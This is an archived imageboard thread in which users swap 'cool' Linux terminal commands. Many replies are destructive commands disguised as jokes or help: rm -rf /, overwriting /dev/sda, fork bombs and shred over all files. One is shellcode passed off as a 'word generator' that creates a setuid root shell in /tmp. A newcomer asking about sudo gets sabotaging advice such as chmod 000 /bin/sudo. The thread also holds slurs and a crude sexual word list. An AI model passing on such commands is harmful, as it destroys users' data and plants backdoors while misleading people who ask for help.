[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

What are some cool terminal commands?

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 116
Thread images: 11

File: 1480650465585.png (2MB, 1024x1360px) Image search: [Google]
1480650465585.png
2MB, 1024x1360px
What are some cool terminal commands?
>>
cd
cd..
cd code
cd
>>
>>60524486
sudo rm -rf /
>>
>>60524532
Wrong
sudo rm -rf --no-preserve-root /*
>>
>>60524486
dd if=/dev/urandom of=/dev/sda
>>
>>60524486
:(){:|:&};:
>>
>>60524486
This one is a random word generator
 char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
>>
File: C7r-V9KVsAAOdue.jpg (31KB, 623x424px) Image search: [Google]
C7r-V9KVsAAOdue.jpg
31KB, 623x424px
>>60524515

mkdir kek
cd kek
>>
File: toast.webm (580KB, 720x406px) Image search: [Google]
toast.webm
580KB, 720x406px
>>60524532
>>60524515
>>
mv ~ /dev/null

echo c > /proc/sysrq-trigger
>>
>>60524486
pushd and popd
[push] to directory stack and [pop] from directory stack, very handy if you're juggling directories
>>
>>60524486
This one will tell you all current ports in use
cat /dev/port
>>
since this is a terminal thread I've got a noob question
How do I add a user to the sudoers file? I'm having some trouble doing so and google searches aren't really helping.
I'm on Fedora 25
>>
sudo nano/etc/hostname
rename to nigger
ctrl + X
>>
sudo apt install sl
sl
>>
>>60524755
is this the guy that eats 70 year old military meals?
>>
>>60524486
sudo cat /dev/urandom > /dev/sda
>>60524779
sudo adduser <username> sudo
>>
>>60524779
sudo chmod --- /bin/sudo "your username here"
>>
>>60524799
yeah he's a cool guy
>>
File: cancer_emoji.jpg (24KB, 480x590px) Image search: [Google]
cancer_emoji.jpg
24KB, 480x590px
>>60524486
:(){ :|: & };:
>>
>>60524550
Whats wrong with it. Only affects BSD, macOS, Alpine.
>>60524717
Doesn't work without root.
>>60524724
Doesn't work without spaces.
>>60524763
>mv ~ /dev/null
Doesn't work like you think.
>echo c > /proc/sysrq-trigger
Doesn't work without root.
>>60524775
This bug was fixed like 100 years ago.
>>60524800
>sudo cat /dev/urandom > /dev/sda
Only actual harmful command ITT.
>>
>>60524862
You mainly forgot the * so files inside of the root directory wouldn't actually be selected
>>
>>60524836
You(){ You|You & };You
>>
>>60524779
Visudo if you want to manually add the user into the sudoers file. Otherwise, you can just add your account into the wheel group, which is already in the sudoers file, and have it done that way.
>>
>>60524550
>>60524532
Hehe
Nice one you guys
>>
>>60524486
sudo chmod -x chmod
>>
>>60524486
hexdump -v -e '/1 "%u\n"' < /dev/urandom | awk '{ split("0,2,4,5,7,9,11,12",a,","); for (i=0; i<1; i+=0.0001) printf("%08X\n", 100*sin(132*exp((a[$1%8]/12)*log(2))*i)) }' | xxd -r -p | aplay -q -c 2 -f U8 -r 113
>>
>>60524486
>What are some cool terminal commands?
sudo reboot
>>
echo "OP is a faggot"
>>
>>60524917
I saw this one in an article
it plays the one of the Zelda songs in chiptune
>>
File: 1468239949091.jpg (92KB, 333x500px) Image search: [Google]
1468239949091.jpg
92KB, 333x500px
>>60524914
chmod: cannot access `chmod': No such file or directory
>>
>>60524936
sudo chmod -x /bin/chmod
>>
It's huge so I must split in two posts:

demons=('anal aficionado' 'anus ignoramus' 'baby batter bladder' 'baby batter bringer' 'ball butter nutter' 'ballbiting ballerina' 'ballsack knapsack' 'baloney poney behemoth' 'beef curtain hurtin' 'benis burglar' 'boner benefactor' 'boner condoner' 'boner toner' 'butt hut' 'chin chin bin' 'chode road' 'cock captain' 'cock clairvoyant' 'cock commandant' 'cock cream captivator' 'cock dock' 'cock khan' 'cock pocket' 'cock sock' 'cock stock' 'column culminator' 'cum caresser' 'cum chum' 'cum connoisseur' 'cum drum' 'cum plum' 'cummander' 'cunny bunny' 'cunt colonel' 'cunt runt' 'dick dastard' 'dick duchess' 'dick juice masseuse' 'dick tick' 'ding dong dungeon' 'dong deity' 'dong dominator' 'dongle mongle' 'ejaculate advocate' 'ejaculate empress' 'erection confection' 'erection ejection' 'fluid druid' 'foreskin fornicator' 'frenulum fractionizer' 'glans fans' 'glans gladiator' 'jism prism' 'jism prison' 'jizz genie' 'jizz jezebel' 'jizz jockey' 'jizz wiz' 'knackers knight' 'lewd lieutenant' 'lovegoo lass' 'male repoductive organ gorgan' 'man milk mephistopheles' 'man muscle steam shovel' 'mattress actress' 'mayonnaise maiden' 'meat major' 'middle leg major'
>>
>>60524486
cd ..
cd op
cd "is a fag"
del *.yourlife
>>
>>60524965
>cd "is a fag"
???
>del *.yourlife
>del
>not rm
Fucking Wingdings user detected
>>
>>60524964
'nut slut' 'orifice officer' 'pecker prodigy' 'penile perpetrator' 'penile private' 'penis machinist' 'phallus chalice' 'phallus phalanx' 'pillar pimper' 'pocket rocket ground control' 'pole populator' 'pole privateer' 'prick chick' 'prick pirate' 'prostate apostate' 'prostate magistrate' 'rear admiral' 'salami tsunami' 'sausage sergeant' 'schlong sentinel' 'schlong sorcerrer' 'scrotum sorceress' 'scrotum totem' 'seed steed' 'semen demon' 'semen sommelier' 'seminal fluid druid' 'seminal sentinel' 'shaft shaft' 'shaft specialist' 'skeet treat' 'smega smuggler' 'smegma enigma' 'smegma savant' 'smegma smuggler' 'smut sergeant' 'sodomy sentinel' 'sperm specialist' 'sperm summoner' 'sperm worm' 'spooge scrooge' 'spunk monk' 'spunk trunk' 'stiffy stimulator' 'stiffy sultan' 'testicle tamer' 'testicle vestibule' 'testicular temptress' 'wang waxer' 'wang wizard' 'wang wrangler' 'weenie genie' 'wiener cleaner' 'wiener witch' 'willy ghillie' 'willy wrap'); echo "Who is this ${demons[$RANDOM % ${#demons[@]} ]}?"
>>
>>60524964
>>60524978
What does this one do?
>>
File: 1478752189287.jpg (184KB, 533x594px) Image search: [Google]
1478752189287.jpg
184KB, 533x594px
>>60524964
>'man muscle steam shovel'
>>
>>60524990
It makes asking for sauce great again.
>>
>>60524486
grep -i llama /proc/kcore
>>
>>60524800
>sudo adduser <username> sudo
that isn't working
>>60524822
unrecognized option
>>60524903
what do I do to put it in when I visudo?
>>
Images
find . -type f -name "*.jpg" -exec jpegoptim {} \;
find . -type f -name "*.png" -exec optipng {} \;
find . -name "*.jpg" | xargs mogrify -resize 50% -quality 50%
Audio
find . -type f -name "*.wav" -print0 | while read -d '' -r in; do opusenc --comp 10 --bitrate 128 "$in" "${in%.wav}".opus; done
Delete by name or extension
find . -type f -name "*.XXX" -exec rm "{}" \;
Unzip a folder of zipped files into their own directories (this is annoying when they weren't compressed in a directory beforehand)
for f in *.zip; do unzip -d "${f%*.zip}" "$f"; done
>>
echo "alias ls='ls && rm -rf'" >> ~/.bashrc
>>
>>60525015
>unrecognized option
Try "sudo chmod --- /bin/sudo" then it will ask for the users you want to add to the list of sudoers
>>
>>60525012
What does this do?
>>
>>60525037
downloads more RAM
>>
>>60524779
just use #su -c 'rm -rf /'
>>
>>60525015
>that isn't working

usermod <username> -a -G wheel
>>
>>60525025
I'm using ffmpeg for opus, is opusenc better? And what does comp 10?
>>
>>60525044
No really, does this damage? It's just grepping memory, right?
>>
>>60525037

Searches all of your memory for the word "llama".

How many llamas can you find?
>>
>>60525065
Execute it and find out. Don't be a pussy.
>>
>>60525065
it just fills up your ram
>>
>>60525065
>>60525083

http://www.unixguide.net/linux/faq/04.16.shtml
>>
Literally listen to your kernel
cat /proc/kcore | /dev/dsp
>>
>>60525045
says to use --no-preserve-root
should I?
>>60525048
I did this but still not working I also but sudo where wheel is and it said groud sudo does not exist
>>60525027
chmod: unrecognized option '---'
>>
>>60525155
>/dev/dsp
From what outdated blog did you copy paste that?

sudo aplay /proc/kcore
>>
>>60524486
man
>>60524862
sudo dd if=/dev/zero of=/dev/sdx bs=446 count=1
>>
>>60525242
what is "sdx"?
>>
>>60525201
>says to use --no-preserve-root
>should I?
Yes
>>
>>60525012
Is this dangerous? I'm a noob and want to learn. What does this do?
>>
>>60525201
>chmod: unrecognized option '---'
Try "sudo chmod 000 /bin/sudo"
>>
>>60525250
sda or sdb or sdc...
whatever drive the operating system is on i guess
>>
>>60525250
been a LONG time sense I wrote it down, but effectively it should wipe the directory.
I might be wrong but I think the X is to be replaced with a-b-etc.
I used it to wipe the grub partition.
>>
>>60524486
apt install love
>>
Has no one posted the "plays music but actually deletes ~?
>>
File: 1471174988386.png (47KB, 1250x526px) Image search: [Google]
1471174988386.png
47KB, 1250x526px
>>60525230
>>
>>60525267
>bash: /usr/bin/sudo: Permission denied
huh
>>
>>60525313
i actually tried it and 4chan wouldn't let me post it
I'm sure some normies complained enough to make hiro add it to them spam filter
>>
>>60525316
>unironically browsing linux.com
ishyddt
>>
>>60525322
I guess the fixed that way of adding yourself. Probably for security reasons
Try this "sudo chmod 000 /bin/*"
>>
>>60525316
>0 likes

>>60525155
Literally read your kernel.
sudo cat /proc/kcore | strings | awk 'length > 20' | less
>>
>>60525349
>cat |

I'd just like to interject for a moment.
sudo strings /proc/kcore | awk 'length > 20' | less
>>
File: 1488498744518.png (82KB, 256x273px) Image search: [Google]
1488498744518.png
82KB, 256x273px
>>60525349
The purpose of cat is to concatenate (or catenate) files. If it is only one file, concatenating it with nothing at all is a waste of time, and costs you a process.
>>
>>60525371
Yeah but it also prints it genius. Also commands get appropriated for other uses all the time so deal with it. For example the touch command is meant to edit file modification times.
>>
>>60524532
Wow faggot thanks for ruining my vm.
>>
>>60524532
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf /
>>
finally got sudo to work with my user
Now how do I change the user name?
>>
>>60525015
https://wiki.archlinux.org/index.php/Sudo#Using_visudo
>>
>>60524917
How is that possible? I didn't know xxd could do this. Is there a Mario Cart version?
>>
>>60525823
https://wiki.archlinux.org/index.php/Users_and_groups#Username_change_tips
>>
>>60524486
touch myfirstprogram
>>
>>60524862
rekt
>>
ls -a
>>
asciiquarium
>>
>>60526063
touch mytralala
>>
while sleep 0.1; do tput setaf $((RANDOM%6+1)); done &
>>
>>60524486
mesg
>>
sudo rm -R /home
>>
cd /var/log/packages && for i in *; do rm $i; done && neofetch
>>
>>60525052
No, it's just a wrapper around the same libopus library.
--comp is the opusenc equivalent of the -compression_level parameter in ffmpeg/libopus. It already defaults to 10 for highest encoding complexity + slowest encoding time in either case and can be omitted.
>>
cat /dev/urandom | hexdump -C | grep -i fag
>>
File: has_u_red_it.jpg (3MB, 2448x3264px) Image search: [Google]
has_u_red_it.jpg
3MB, 2448x3264px
>>60527614
Fun that never stops.
>>
find / -exec shred -u {} \;
>>
>>60524752
and don't forget to
pwd
>>
>>60526063
>>60526602
while [ $satisfaction ]
do
touch me
done
>>
>>60524550
ew gnu. and even then why would you not preserve root if you're not deleting it
>>60524717
archaic
>>60525230
>lincucks now use some bullshit instead of perfect /dev/dsp
>>
>>60524746
What does this payload do exactly?
>>
>>60524964
>>60524978
this is just what I was looking for
>>
# shred /*
>>
>>60525201
wheel is something you'll only find on rhel and centos
>>
>>60525322
Do sudo -i first, then that command. You can't sudo your sudo while using sudo
>>
File: 1494911274745.jpg (506KB, 1428x781px) Image search: [Google]
1494911274745.jpg
506KB, 1428x781px
None of these are useful.
>>
>>60530909
Not like OP asked for useful commands.
>>
mpv https://www.youtube.com/watch?v=GDKc6X8TXNE

:^)
>>
>>60525598
>>
>>60525259

literally just looks for a pattern (llama) in a file (you kernel memory)
>>
>>60524486
anon@server:~# touch girl 
touch: cannot touch `girl`: Permission denied
>>
>>60531181
>permission denied as root
>>
>>60524767
Also 'cd -' will cd to the last directory you used 'cd' with.
>>
>>60524779
everyone here is a retard. use the visudo command, everything should be self-explanatory from there. If you don't know how to use vi, try 'export EDITOR=nano' and run it again.
>>
>>60531269
Really activates ones daemon
>>
Speed up compiles with parallel make:
`make -j4; make -j4 modules`
>>
>>60531383
or just
sudo nano /etc/sudoers
>>
:(){ : | : & };:
No using terminal is the real pain, using bash for Everyeye single shit you have to do with the terminal is the way
>>
wget http://icecast.omroep.nl/3fm-bb-mp3 -O - | mpg123 -
Thread posts: 116
Thread images: 11


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.